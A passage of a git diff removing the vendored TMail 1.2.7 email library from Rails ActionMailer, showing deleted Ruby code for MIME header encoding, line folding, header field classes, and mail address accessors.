-      # J       : <<A character string to be encoded>>
-      # S       : <<LWSP>>
-      #
-      # An encoding unit is `E'.
-      # Input (parameter `types') is  (J|A)(J|A|S)*(J|A)
-      #
-      if BENCODE_DEBUG
-        puts
-        puts '-- do_encode ------------'
-        puts types.split(//).join(' ')
-        p strs
-      end
-
-      e = /[ja]*j[ja]*(?:s[ja]*j[ja]*)*/
-
-      while m = e.match(types)
-        pre = m.pre_match
-        concat_A_S pre, strs[0, pre.size] unless pre.empty?
-        concat_E m[0], strs[m.begin(0) ... m.end(0)]
-        types = m.post_match
-        strs.slice! 0, m.end(0)
-      end
-      concat_A_S types, strs
-    end
-
-    def concat_A_S( types, strs )
-      if RUBY_VERSION < '1.9'
-        a = ?a; s = ?s
-      else
-        a = 'a'.ord; s = 's'.ord
-      end
-      i = 0
-      types.each_byte do |t|
-        case t
-        when a then add_text strs[i]
-        when s then add_lwsp strs[i]
-        else
-          raise "TMail FATAL: unknown flag: #{t.chr}"
-        end
-        i += 1
-      end
-    end
-
-    METHOD_ID = {
-      ?j => :extract_J,
-      ?e => :extract_E,
-      ?a => :extract_A,
-      ?s => :extract_S
-    }
-
-    def concat_E( types, strs )
-      if BENCODE_DEBUG
-        puts '---- concat_E'
-        puts "types=#{types.split(//).join(' ')}"
-        puts "strs =#{strs.inspect}"
-      end
-
-      flush() unless @text.empty?
-
-      chunk = ''
-      strs.each_with_index do |s,i|
-        mid = METHOD_ID[types[i]]
-        until s.empty?
-          unless c = __send__(mid, chunk.size, s)
-            add_with_encode chunk unless chunk.empty?
-            flush
-            chunk = ''
-            fold
-            c = __send__(mid, 0, s)
-            raise 'TMail FATAL: extract fail' unless c
-          end
-          chunk << c
-        end
-      end
-      add_with_encode chunk unless chunk.empty?
-    end
-
-    def extract_J( chunksize, str )
-      size = max_bytes(chunksize, str.size) - 6
-      size = (size % 2 == 0) ? (size) : (size - 1)
-      return nil if size <= 0
-      if str.respond_to?(:encoding)
-        enc = str.encoding
-        str.force_encoding(Encoding::ASCII_8BIT)
-        "\e$B#{str.slice!(0, size)}\e(B".force_encoding(enc)
-      else
-        "\e$B#{str.slice!(0, size)}\e(B"
-      end
-    end
-
-    def extract_A( chunksize, str )
-      size = max_bytes(chunksize, str.size)
-      return nil if size <= 0
-      str.slice!(0, size)
-    end
-
-    alias extract_S extract_A
-
-    def max_bytes( chunksize, ssize )
-      (restsize() - '=?iso-2022-jp?B??='.size) / 4 * 3 - chunksize
-    end
-
-    #
-    # free length buffer
-    #
-
-    def add_text( str )
-      @text << str
-      # puts '---- text -------------------------------------'
-      # puts "+ #{str.inspect}"
-      # puts "txt >>>#{@text.inspect}<<<"
-    end
-
-    def add_with_encode( str )
-      @text << "=?iso-2022-jp?B?#{Base64.encode(str)}?="
-    end
-
-    def add_lwsp( lwsp )
-      # puts '---- lwsp -------------------------------------'
-      # puts "+ #{lwsp.inspect}"
-      fold if restsize() <= 0
-      flush(@folded)
-      @lwsp = lwsp
-    end
-
-    def flush(folded = false)
-      # puts '---- flush ----'
-      # puts "spc >>>#{@lwsp.inspect}<<<"
-      # puts "txt >>>#{@text.inspect}<<<"
-      @f << @lwsp << @text
-      if folded
-        @curlen = 0
-      else
-        @curlen += (@lwsp.size + @text.size)
-      end
-      @text = ''
-      @lwsp = ''
-    end
-
-    def fold
-      # puts '---- fold ----'
-      unless @f.string =~ /^.*?:$/
-        @f << @eol
-        @lwsp = SPACER
-      else
-        fold_header
-        @folded = true
-      end
-      @curlen = 0
-    end
-
-    def fold_header
-      # Called because line is too long - so we need to wrap.
-      # First look for whitespace in the text
-      # if it has text, fold there
-      # check the remaining text, if too long, fold again
-      # if it doesn't, then don't fold unless the line goes beyond 998 chars
-
-      # Check the text to see if there is whitespace, or if not
-      @wrapped_text = []
-      until @text.blank?
-        fold_the_string
-      end
-      @text = @wrapped_text.join("#{@eol}#{SPACER}")
-    end
-
-    def fold_the_string
-      whitespace_location = @text =~ /\s/ || @text.length
-      # Is the location of the whitespace shorter than the RCF_2822_MAX_LENGTH?
-      # if there is no whitespace in the string, then this
-      unless mazsize(whitespace_location) <= 0
-        @text.strip!
-        @wrapped_text << @text.slice!(0...whitespace_location)
-      # If it is not less, we have to wrap it destructively
-      else
-        slice_point = RFC_2822_MAX_LENGTH - @curlen - @lwsp.length
-        @text.strip!
-        @wrapped_text << @text.slice!(0...slice_point)
-      end
-    end
-
-    def restsize
-      MAX_LINE_LEN - (@curlen + @lwsp.size + @text.size)
-    end
-
-    def mazsize(whitespace_location)
-      # Per RFC2822, the maximum length of a line is 998 chars
-      RFC_2822_MAX_LENGTH - (@curlen + @lwsp.size + whitespace_location)
-    end
-
-  end
-  #:startdoc:
-end    # module TMail
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/header.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/header.rb
deleted file mode 100644
index c111ea5c..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/header.rb
+++ /dev/null
@@ -1,962 +0,0 @@
-#--
-# Copyright (c) 1998-2003 Minero Aoki <aamine@loveruby.net>
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#
-# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
-# with permission of Minero Aoki.
-#++
-
-require 'tmail/encode'
-require 'tmail/address'
-require 'tmail/parser'
-require 'tmail/config'
-require 'tmail/utils'
-
-#:startdoc:
-module TMail
-
-  # Provides methods to handle and manipulate headers in the email
-  class HeaderField
-
-    include TextUtils
-
-    class << self
-
-      alias newobj new
-
-      def new( name, body, conf = DEFAULT_CONFIG )
-        klass = FNAME_TO_CLASS[name.downcase] || UnstructuredHeader
-        klass.newobj body, conf
-      end
-
-      # Returns a HeaderField object matching the header you specify in the "name" param.
-      # Requires an initialized TMail::Port to be passed in.
-      #
-      # The method searches the header of the Port you pass into it to find a match on
-      # the header line you pass.  Once a match is found, it will unwrap the matching line
-      # as needed to return an initialized HeaderField object.
-      #
-      # If you want to get the Envelope sender of the email object, pass in "EnvelopeSender",
-      # if you want the From address of the email itself, pass in 'From'.
-      #
-      # This is because a mailbox doesn't have the : after the From that designates the
-      # beginning of the envelope sender (which can be different to the from address of 
-      # the email)
-      #
-      # Other fields can be passed as normal, "Reply-To", "Received" etc.
-      #
-      # Note: Change of behaviour in 1.2.1 => returns nil if it does not find the specified
-      # header field, otherwise returns an instantiated object of the correct header class
-      # 
-      # For example:
-      #   port = TMail::FilePort.new("/test/fixtures/raw_email_simple")
-      #   h = TMail::HeaderField.new_from_port(port, "From")
-      #   h.addrs.to_s #=> "Mikel Lindsaar <mikel@nowhere.com>"
-      #   h = TMail::HeaderField.new_from_port(port, "EvelopeSender")
-      #   h.addrs.to_s #=> "mike@anotherplace.com.au"
-      #   h = TMail::HeaderField.new_from_port(port, "SomeWeirdHeaderField")
-      #   h #=> nil
-      def new_from_port( port, name, conf = DEFAULT_CONFIG )
-        if name == "EnvelopeSender"
-          name = "From"
-          re = Regexp.new('\A(From) ', 'i')
-        else
-          re = Regexp.new('\A(' + Regexp.quote(name) + '):', 'i')
-        end
-        str = nil
-        port.ropen {|f|
-            f.each do |line|
-              if m = re.match(line)            then str = m.post_match.strip
-              elsif str and /\A[\t ]/ === line then str << ' ' << line.strip
-              elsif /\A-*\s*\z/ === line       then break
-              elsif str                        then break
-              end
-            end
-        }
-        new(name, str, Config.to_config(conf)) if str
-      end
-
-      def internal_new( name, conf )
-        FNAME_TO_CLASS[name].newobj('', conf, true)
-      end
-
-    end   # class << self
-
-    def initialize( body, conf, intern = false )
-      @body = body
-      @config = conf
-
-      @illegal = false
-      @parsed = false
-      
-      if intern
-        @parsed = true
-        parse_init
-      end
-    end
-
-    def inspect
-      "#<#{self.class} #{@body.inspect}>"
-    end
-
-    def illegal?
-      @illegal
-    end
-
-    def empty?
-      ensure_parsed
-      return true if @illegal
-      isempty?
-    end
-
-    private
-
-    def ensure_parsed
-      return if @parsed
-      @parsed = true
-      parse
-    end
-
-    # defabstract parse
-    # end
-
-    def clear_parse_status
-      @parsed = false
-      @illegal = false
-    end
-
-    public
-
-    def body
-      ensure_parsed
-      v = Decoder.new(s = '')
-      do_accept v
-      v.terminate
-      s
-    end
-
-    def body=( str )
-      @body = str
-      clear_parse_status
-    end
-
-    include StrategyInterface
-
-    def accept( strategy )
-      ensure_parsed
-      do_accept strategy
-      strategy.terminate
-    end
-
-    # abstract do_accept
-
-  end
-
-
-  class UnstructuredHeader < HeaderField
-
-    def body
-      ensure_parsed
-      @body
-    end
-
-    def body=( arg )
-      ensure_parsed
-      @body = arg
-    end
-
-    private
-
-    def parse_init
-    end
-
-    def parse
-      @body = Decoder.decode(@body.gsub(/\n|\r\n|\r/, ''))
-    end
-
-    def isempty?
-      not @body
-    end
-
-    def do_accept( strategy )
-      strategy.text @body
-    end
-
-  end
-
-
-  class StructuredHeader < HeaderField
-
-    def comments
-      ensure_parsed
-      if @comments[0]
-        [Decoder.decode(@comments[0])]
-      else
-        @comments
-      end
-    end
-
-    private
-
-    def parse
-      save = nil
-
-      begin
-        parse_init
-        do_parse
-      rescue SyntaxError
-        if not save and mime_encoded? @body
-          save = @body
-          @body = Decoder.decode(save)
-          retry
-        elsif save
-          @body = save
-        end
-
-        @illegal = true
-        raise if @config.strict_parse?
-      end
-    end
-
-    def parse_init
-      @comments = []
-      init
-    end
-
-    def do_parse
-      quote_boundary
-      quote_unquoted_name
-      quote_unquoted_bencode
-      obj = Parser.parse(self.class::PARSE_TYPE, @body, @comments)
-      set obj if obj
-    end
-
-  end
-
-
-  class DateTimeHeader < StructuredHeader
-
-    PARSE_TYPE = :DATETIME
-
-    def date
-      ensure_parsed
-      @date
-    end
-
-    def date=( arg )
-      ensure_parsed
-      @date = arg
-    end
-
-    private
-
-    def init
-      @date = nil
-    end
-
-    def set( t )
-      @date = t
-    end
-
-    def isempty?
-      not @date
-    end
-
-    def do_accept( strategy )
-      strategy.meta time2str(@date)
-    end
-
-  end
-
-
-  class AddressHeader < StructuredHeader
-
-    PARSE_TYPE = :MADDRESS
-
-    def addrs
-      ensure_parsed
-      @addrs
-    end
-
-    private
-
-    def init
-      @addrs = []
-    end
-
-    def set( a )
-      @addrs = a
-    end
-
-    def isempty?
-      @addrs.empty?
-    end
-
-    def do_accept( strategy )
-      first = true
-      @addrs.each do |a|
-        if first
-          first = false
-        else
-          strategy.puts_meta ','
-          strategy.space
-        end
-        a.accept strategy
-      end
-
-      @comments.each do |c|
-        strategy.space
-        strategy.meta '('
-        strategy.text c
-        strategy.meta ')'
-      end
-    end
-
-  end
-
-
-  class ReturnPathHeader < AddressHeader
-
-    PARSE_TYPE = :RETPATH
-
-    def addr
-      addrs()[0]
-    end
-
-    def spec
-      a = addr() or return nil
-      a.spec
-    end
-
-    def routes
-      a = addr() or return nil
-      a.routes
-    end
-
-    private
-
-    def do_accept( strategy )
-      a = addr()
-
-      strategy.meta '<'
-      unless a.routes.empty?
-        strategy.meta a.routes.map {|i| '@' + i }.join(',')
-        strategy.meta ':'
-      end
-      spec = a.spec
-      strategy.meta spec if spec
-      strategy.meta '>'
-    end
-
-  end
-
-
-  class SingleAddressHeader < AddressHeader
-
-    def addr
-      addrs()[0]
-    end
-
-    private
-
-    def do_accept( strategy )
-      a = addr()
-      a.accept strategy
-      @comments.each do |c|
-        strategy.space
-        strategy.meta '('
-        strategy.text c
-        strategy.meta ')'
-      end
-    end
-
-  end
-
-
-  class MessageIdHeader < StructuredHeader
-
-    def id
-      ensure_parsed
-      @id
-    end
-
-    def id=( arg )
-      ensure_parsed
-      @id = arg
-    end
-
-    private
-
-    def init
-      @id = nil
-    end
-
-    def isempty?
-      not @id
-    end
-
-    def do_parse
-      @id = @body.slice(MESSAGE_ID) or
-              raise SyntaxError, "wrong Message-ID format: #{@body}"
-    end
-
-    def do_accept( strategy )
-      strategy.meta @id
-    end
-
-  end
-
-
-  class ReferencesHeader < StructuredHeader
-
-    def refs
-      ensure_parsed
-      @refs
-    end
-
-    def each_id
-      self.refs.each do |i|
-        yield i if MESSAGE_ID === i
-      end
-    end
-
-    def ids
-      ensure_parsed
-      @ids
-    end
-
-    def each_phrase
-      self.refs.each do |i|
-        yield i unless MESSAGE_ID === i
-      end
-    end
-
-    def phrases
-      ret = []
-      each_phrase {|i| ret.push i }
-      ret
-    end
-
-    private
-
-    def init
-      @refs = []
-      @ids = []
-    end
-
-    def isempty?
-      @ids.empty?
-    end
-
-    def do_parse
-      str = @body
-      while m = MESSAGE_ID.match(str)
-        pre = m.pre_match.strip
-        @refs.push pre unless pre.empty?
-        @refs.push s = m[0]
-        @ids.push s
-        str = m.post_match
-      end
-      str = str.strip
-      @refs.push str unless str.empty?
-    end
-
-    def do_accept( strategy )
-      first = true
-      @ids.each do |i|
-        if first
-          first = false
-        else
-          strategy.space
-        end
-        strategy.meta i
-      end
-    end
-
-  end
-
-
-  class ReceivedHeader < StructuredHeader
-
-    PARSE_TYPE = :RECEIVED
-
-    def from
-      ensure_parsed
-      @from
-    end
-
-    def from=( arg )
-      ensure_parsed
-      @from = arg
-    end
-
-    def by
-      ensure_parsed
-      @by
-    end
-
-    def by=( arg )
-      ensure_parsed
-      @by = arg
-    end
-
-    def via
-      ensure_parsed
-      @via
-    end
-
-    def via=( arg )
-      ensure_parsed
-      @via = arg
-    end
-
-    def with
-      ensure_parsed
-      @with
-    end
-
-    def id
-      ensure_parsed
-      @id
-    end
-
-    def id=( arg )
-      ensure_parsed
-      @id = arg
-    end
-
-    def _for
-      ensure_parsed
-      @_for
-    end
-
-    def _for=( arg )
-      ensure_parsed
-      @_for = arg
-    end
-
-    def date
-      ensure_parsed
-      @date
-    end
-
-    def date=( arg )
-      ensure_parsed
-      @date = arg
-    end
-
-    private
-
-    def init
-      @from = @by = @via = @with = @id = @_for = nil
-      @with = []
-      @date = nil
-    end
-
-    def set( args )
-      @from, @by, @via, @with, @id, @_for, @date = *args
-    end
-
-    def isempty?
-      @with.empty? and not (@from or @by or @via or @id or @_for or @date)
-    end
-
-    def do_accept( strategy )
-      list = []
-      list.push 'from '  + @from       if @from
-      list.push 'by '    + @by         if @by
-      list.push 'via '   + @via        if @via
-      @with.each do |i|
-        list.push 'with ' + i
-      end
-      list.push 'id '    + @id         if @id
-      list.push 'for <'  + @_for + '>' if @_for
-
-      first = true
-      list.each do |i|
-        strategy.space unless first
-        strategy.meta i
-        first = false
-      end
-      if @date
-        strategy.meta ';'
-        strategy.space
-        strategy.meta time2str(@date)
-      end
-    end
-
-  end
-
-
-  class KeywordsHeader < StructuredHeader
-
-    PARSE_TYPE = :KEYWORDS
-
-    def keys
-      ensure_parsed
-      @keys
-    end
-
-    private
-
-    def init
-      @keys = []
-    end
-
-    def set( a )
-      @keys = a
-    end
-
-    def isempty?
-      @keys.empty?
-    end
-
-    def do_accept( strategy )
-      first = true
-      @keys.each do |i|
-        if first
-          first = false
-        else
-          strategy.meta ','
-        end
-        strategy.meta i
-      end
-    end
-
-  end
-
-
-  class EncryptedHeader < StructuredHeader
-
-    PARSE_TYPE = :ENCRYPTED
-
-    def encrypter
-      ensure_parsed
-      @encrypter
-    end
-
-    def encrypter=( arg )
-      ensure_parsed
-      @encrypter = arg
-    end
-
-    def keyword
-      ensure_parsed
-      @keyword
-    end
-
-    def keyword=( arg )
-      ensure_parsed
-      @keyword = arg
-    end
-
-    private
-
-    def init
-      @encrypter = nil
-      @keyword = nil
-    end
-
-    def set( args )
-      @encrypter, @keyword = args
-    end
-
-    def isempty?
-      not (@encrypter or @keyword)
-    end
-
-    def do_accept( strategy )
-      if @key
-        strategy.meta @encrypter + ','
-        strategy.space
-        strategy.meta @keyword
-      else
-        strategy.meta @encrypter
-      end
-    end
-
-  end
-
-
-  class MimeVersionHeader < StructuredHeader
-
-    PARSE_TYPE = :MIMEVERSION
-
-    def major
-      ensure_parsed
-      @major
-    end
-
-    def major=( arg )
-      ensure_parsed
-      @major = arg
-    end
-
-    def minor
-      ensure_parsed
-      @minor
-    end
-
-    def minor=( arg )
-      ensure_parsed
-      @minor = arg
-    end
-
-    def version
-      sprintf('%d.%d', major, minor)
-    end
-
-    private
-
-    def init
-      @major = nil
-      @minor = nil
-    end
-
-    def set( args )
-      @major, @minor = *args
-    end
-
-    def isempty?
-      not (@major or @minor)
-    end
-
-    def do_accept( strategy )
-      strategy.meta sprintf('%d.%d', @major, @minor)
-    end
-
-  end
-
-
-  class ContentTypeHeader < StructuredHeader
-
-    PARSE_TYPE = :CTYPE
-
-    def main_type
-      ensure_parsed
-      @main
-    end
-
-    def main_type=( arg )
-      ensure_parsed
-      @main = arg.downcase
-    end
-
-    def sub_type
-      ensure_parsed
-      @sub
-    end
-
-    def sub_type=( arg )
-      ensure_parsed
-      @sub = arg.downcase
-    end
-
-    def content_type
-      ensure_parsed
-      @sub ? sprintf('%s/%s', @main, @sub) : @main
-    end
-
-    def params
-      ensure_parsed
-      unless @params.blank?
-        @params.each do |k, v|
-          @params[k] = unquote(v)
-        end
-      end
-      @params
-    end
-
-    def []( key )
-      ensure_parsed
-      @params and unquote(@params[key])
-    end
-
-    def []=( key, val )
-      ensure_parsed
-      (@params ||= {})[key] = val
-    end
-
-    private
-
-    def init
-      @main = @sub = @params = nil
-    end
-
-    def set( args )
-      @main, @sub, @params = *args
-    end
-
-    def isempty?
-      not (@main or @sub)
-    end
-
-    def do_accept( strategy )
-      if @sub
-        strategy.meta sprintf('%s/%s', @main, @sub)
-      else
-        strategy.meta @main
-      end
-      @params.each do |k,v|
-        if v
-          strategy.meta ';'
-          strategy.space
-          strategy.kv_pair k, unquote(v)
-        end
-      end
-    end
-
-  end
-
-
-  class ContentTransferEncodingHeader < StructuredHeader
-
-    PARSE_TYPE = :CENCODING
-
-    def encoding
-      ensure_parsed
-      @encoding
-    end
-
-    def encoding=( arg )
-      ensure_parsed
-      @encoding = arg
-    end
-
-    private
-
-    def init
-      @encoding = nil
-    end
-
-    def set( s )
-      @encoding = s
-    end
-
-    def isempty?
-      not @encoding
-    end
-
-    def do_accept( strategy )
-      strategy.meta @encoding.capitalize
-    end
-
-  end
-
-
-  class ContentDispositionHeader < StructuredHeader
-
-    PARSE_TYPE = :CDISPOSITION
-
-    def disposition
-      ensure_parsed
-      @disposition
-    end
-
-    def disposition=( str )
-      ensure_parsed
-      @disposition = str.downcase
-    end
-
-    def params
-      ensure_parsed
-      unless @params.blank?
-        @params.each do |k, v|
-          @params[k] = unquote(v)
-        end
-      end
-      @params
-    end
-
-    def []( key )
-      ensure_parsed
-      @params and unquote(@params[key])
-    end
-
-    def []=( key, val )
-      ensure_parsed
-      (@params ||= {})[key] = val
-    end
-
-    private
-
-    def init
-      @disposition = @params = nil
-    end
-
-    def set( args )
-      @disposition, @params = *args
-    end
-
-    def isempty?
-      not @disposition and (not @params or @params.empty?)
-    end
-
-    def do_accept( strategy )
-      strategy.meta @disposition
-      @params.each do |k,v|
-        strategy.meta ';'
-        strategy.space
-        strategy.kv_pair k, unquote(v)
-      end
-    end
-      
-  end
-
-
-  class HeaderField   # redefine
-
-    FNAME_TO_CLASS = {
-      'date'                      => DateTimeHeader,
-      'resent-date'               => DateTimeHeader,
-      'to'                        => AddressHeader,
-      'cc'                        => AddressHeader,
-      'bcc'                       => AddressHeader,
-      'from'                      => AddressHeader,
-      'reply-to'                  => AddressHeader,
-      'resent-to'                 => AddressHeader,
-      'resent-cc'                 => AddressHeader,
-      'resent-bcc'                => AddressHeader,
-      'resent-from'               => AddressHeader,
-      'resent-reply-to'           => AddressHeader,
-      'sender'                    => SingleAddressHeader,
-      'resent-sender'             => SingleAddressHeader,
-      'return-path'               => ReturnPathHeader,
-      'message-id'                => MessageIdHeader,
-      'resent-message-id'         => MessageIdHeader,
-      'in-reply-to'               => ReferencesHeader,
-      'received'                  => ReceivedHeader,
-      'references'                => ReferencesHeader,
-      'keywords'                  => KeywordsHeader,
-      'encrypted'                 => EncryptedHeader,
-      'mime-version'              => MimeVersionHeader,
-      'content-type'              => ContentTypeHeader,
-      'content-transfer-encoding' => ContentTransferEncodingHeader,
-      'content-disposition'       => ContentDispositionHeader,
-      'content-id'                => MessageIdHeader,
-      'subject'                   => UnstructuredHeader,
-      'comments'                  => UnstructuredHeader,
-      'content-description'       => UnstructuredHeader
-    }
-
-  end
-
-end   # module TMail
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/index.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/index.rb
deleted file mode 100644
index 554e2fd6..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/index.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-#:stopdoc:
-# This is here for Rolls. 
-# Rolls uses this instead of lib/tmail.rb.
-
-require 'tmail/version'
-require 'tmail/mail'
-require 'tmail/mailbox'
-require 'tmail/core_extensions'
-#:startdoc:
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/interface.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/interface.rb
deleted file mode 100644
index 27680c15..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/interface.rb
+++ /dev/null
@@ -1,1162 +0,0 @@
-=begin rdoc
-
-= interface.rb Provides an interface to the TMail object
-
-=end
-#--
-# Copyright (c) 1998-2003 Minero Aoki <aamine@loveruby.net>
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#
-# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
-# with permission of Minero Aoki.
-#++
-
-# TMail::Mail objects get accessed primarily through the methods in this file.
-# 
-# 
-
-require 'tmail/utils'
-
-module TMail
-
-  class Mail
-
-    # Allows you to query the mail object with a string to get the contents
-    # of the field you want.
-    # 
-    # Returns a string of the exact contents of the field
-    # 
-    #  mail.from = "mikel <mikel@lindsaar.net>"
-    #  mail.header_string("From") #=> "mikel <mikel@lindsaar.net>"
-    def header_string( name, default = nil )
-      h = @header[name.downcase] or return default
-      h.to_s
-    end
-
-    #:stopdoc:
-    #--
-    #== Attributes
-
-    include TextUtils
-
-    def set_string_array_attr( key, strs )
-      strs.flatten!
-      if strs.empty?
-        @header.delete key.downcase
-      else
-        store key, strs.join(', ')
-      end
-      strs
-    end
-    private :set_string_array_attr
-
-    def set_string_attr( key, str )
-      if str
-        store key, str
-      else
-        @header.delete key.downcase
-      end
-      str
-    end
-    private :set_string_attr
-
-    def set_addrfield( name, arg )
-      if arg
-        h = HeaderField.internal_new(name, @config)
-        h.addrs.replace [arg].flatten
-        @header[name] = h
-      else
-        @header.delete name
-      end
-      arg
-    end
-    private :set_addrfield
-
-    def addrs2specs( addrs )
-      return nil unless addrs
-      list = addrs.map {|addr|
-          if addr.address_group?
-          then addr.map {|a| a.spec }
-          else addr.spec
-          end
-      }.flatten
-      return nil if list.empty?
-      list
-    end
-    private :addrs2specs
-
-    #:startdoc:
-
-    #== Date and Time methods
-
-    # Returns the date of the email message as per the "date" header value or returns
-    # nil by default (if no date field exists).  
-    # 
-    # You can also pass whatever default you want into this method and it will return 
-    # that instead of nil if there is no date already set. 
-    def date( default = nil )
-      if h = @header['date']
-        h.date
-      else
-        default
-      end
-    end
-
-    # Destructively sets the date of the mail object with the passed Time instance,
-    # returns a Time instance set to the date/time of the mail
-    # 
-    # Example:
-    # 
-    #  now = Time.now
-    #  mail.date = now
-    #  mail.date #=> Sat Nov 03 18:47:50 +1100 2007
-    #  mail.date.class #=> Time
-    def date=( time )
-      if time
-        store 'Date', time2str(time)
-      else
-        @header.delete 'date'
-      end
-      time
-    end
-
-    # Returns the time of the mail message formatted to your taste using a 
-    # strftime format string.  If no date set returns nil by default or whatever value
-    # you pass as the second optional parameter.
-    # 
-    #  time = Time.now # (on Nov 16 2007)
-    #  mail.date = time
-    #  mail.strftime("%D") #=> "11/16/07"
-    def strftime( fmt, default = nil )
-      if t = date
-        t.strftime(fmt)
-      else
-        default
-      end
-    end
-
-    #== Destination methods
-
-    # Return a TMail::Addresses instance for each entry in the "To:" field of the mail object header.
-    # 
-    # If the "To:" field does not exist, will return nil by default or the value you
-    # pass as the optional parameter.
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.to_addrs #=> nil
-    #  mail.to_addrs([]) #=> []
-    #  mail.to = "Mikel <mikel@me.org>, another Mikel <mikel@you.org>"
-    #  mail.to_addrs #=>  [#<TMail::Address mikel@me.org>, #<TMail::Address mikel@you.org>]
-    def to_addrs( default = nil )
-      if h = @header['to']
-        h.addrs
-      else
-        default
-      end
-    end
-
-    # Return a TMail::Addresses instance for each entry in the "Cc:" field of the mail object header.
-    # 
-    # If the "Cc:" field does not exist, will return nil by default or the value you
-    # pass as the optional parameter.
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.cc_addrs #=> nil
-    #  mail.cc_addrs([]) #=> []
-    #  mail.cc = "Mikel <mikel@me.org>, another Mikel <mikel@you.org>"
-    #  mail.cc_addrs #=>  [#<TMail::Address mikel@me.org>, #<TMail::Address mikel@you.org>]
-     def cc_addrs( default = nil )
-      if h = @header['cc']
-        h.addrs
-      else
-        default
-      end
-    end
-
-    # Return a TMail::Addresses instance for each entry in the "Bcc:" field of the mail object header.
-    # 
-    # If the "Bcc:" field does not exist, will return nil by default or the value you
-    # pass as the optional parameter.
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.bcc_addrs #=> nil
-    #  mail.bcc_addrs([]) #=> []
-    #  mail.bcc = "Mikel <mikel@me.org>, another Mikel <mikel@you.org>"
-    #  mail.bcc_addrs #=>  [#<TMail::Address mikel@me.org>, #<TMail::Address mikel@you.org>]
-    def bcc_addrs( default = nil )
-      if h = @header['bcc']
-        h.addrs
-      else
-        default
-      end
-    end
-
-    # Destructively set the to field of the "To:" header to equal the passed in string.
-    # 
-    # TMail will parse your contents and turn each valid email address into a TMail::Address 
-    # object before assigning it to the mail message.
-    #
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.to = "Mikel <mikel@me.org>, another Mikel <mikel@you.org>"
-    #  mail.to_addrs #=>  [#<TMail::Address mikel@me.org>, #<TMail::Address mikel@you.org>]
-    def to_addrs=( arg )
-      set_addrfield 'to', arg
-    end
-
-    # Destructively set the to field of the "Cc:" header to equal the passed in string.
-    # 
-    # TMail will parse your contents and turn each valid email address into a TMail::Address 
-    # object before assigning it to the mail message.
-    #
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.cc = "Mikel <mikel@me.org>, another Mikel <mikel@you.org>"
-    #  mail.cc_addrs #=>  [#<TMail::Address mikel@me.org>, #<TMail::Address mikel@you.org>]
-    def cc_addrs=( arg )
-      set_addrfield 'cc', arg
-    end
-
-    # Destructively set the to field of the "Bcc:" header to equal the passed in string.
-    # 
-    # TMail will parse your contents and turn each valid email address into a TMail::Address 
-    # object before assigning it to the mail message.
-    #
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.bcc = "Mikel <mikel@me.org>, another Mikel <mikel@you.org>"
-    #  mail.bcc_addrs #=>  [#<TMail::Address mikel@me.org>, #<TMail::Address mikel@you.org>]
-    def bcc_addrs=( arg )
-      set_addrfield 'bcc', arg
-    end
-
-    # Returns who the email is to as an Array of email addresses as opposed to an Array of 
-    # TMail::Address objects which is what Mail#to_addrs returns
-    # 
-    # Example:
-    # 
-    #  mail = TMail::Mail.new
-    #  mail.to = "Mikel <mikel@me.org>, another Mikel <mikel@you.org>"
-    #  mail.to #=>  ["mikel@me.org", "mikel@you.org"]
-    def to( default = nil )
